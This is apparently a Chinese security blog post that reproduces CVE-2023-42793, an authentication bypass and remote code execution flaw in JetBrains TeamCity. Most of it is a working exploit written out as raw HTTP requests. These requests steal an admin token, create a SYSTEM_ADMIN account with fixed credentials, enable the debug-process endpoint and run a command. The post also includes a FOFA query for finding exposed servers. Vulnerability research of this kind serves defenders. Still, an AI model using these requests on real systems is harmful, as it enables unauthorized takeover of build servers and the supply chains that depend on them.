登录 白背景
源码

JetBrains TeamCity 远程代码执行漏洞复现【CVE-2023-42793】

一、漏洞简介

JetBrainsa TeamCity是一款出JetBrains开发的持续集成和持续交付(CICD)服务器。它提供了一个功能强大的平台，用于自动化构建、测试和部署软件项目。TeamCity旨在简化团队协作和软件交付流程，提高开发团队的效率和产品质量。JetBrainsa TeamCity可通过访问/app/rest/users/id:1/tokens/RPC2端点获取对应id用户的有效token，携带admin token访问受限端点导致远程命令执行或创建后台管理员用户。

二、影响版本

  • < 2023.05.04

三、资产测绘

  • FOFA: body="Log in to TeamCity"
  • 特征

image.png

四、漏洞复现

  • 创建后台管理用户
  1. 获取有效token
POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: 
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 0

image.png
若响应如下，则需删除token重新发起请求
image.png

DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: 
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 0

image.png

  1. 通过上一步获取的有效token，添加管理用户city_adminbg8M/Main_password!!**
POST /app/rest/users HTTP/1.1
Host: 
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.a2VIeklZN0owc210RVJadmxwOUQ1Q0tDdk5v.MGExYWFmZDQtNDU2YS00MGMwLTgyYjYtYTMxNTFhMjdhN2Zj
Content-Type: application/json
Content-Length: 165

{"username": "city_adminbg8M", "password": "Main_password!!**", "email": "angry-admin@funnybunny.org", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

image.png

  1. 使用创建的管理用户登录city_adminbg8M/Main_password!!**

image.png

  • 远程命令执行
  1. 获取有效token
POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: 
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 0

image.png
若响应如下，则需删除token重新发起请求
image.png

DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: 
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 0

image.png

  1. 使用上一步获取的token修改配置，启动debug模式
POST /admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true HTTP/1.1
Host: 
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.a2VIeklZN0owc210RVJadmxwOUQ1Q0tDdk5v.MGExYWFmZDQtNDU2YS00MGMwLTgyYjYtYTMxNTFhMjdhN2Zj
Content-Length: 0

image.png

  1. 使用token执行命令
POST /app/rest/debug/processes?exePath=whoami&Params=/root HTTP/1.1
Host: 
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.a2VIeklZN0owc210RVJadmxwOUQ1Q0tDdk5v.MGExYWFmZDQtNDU2YS00MGMwLTgyYjYtYTMxNTFhMjdhN2Zj
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 0

image.png

原文: https://www.yuque.com/xiaokp7/ocvun2/av3hamg6ri0lgqso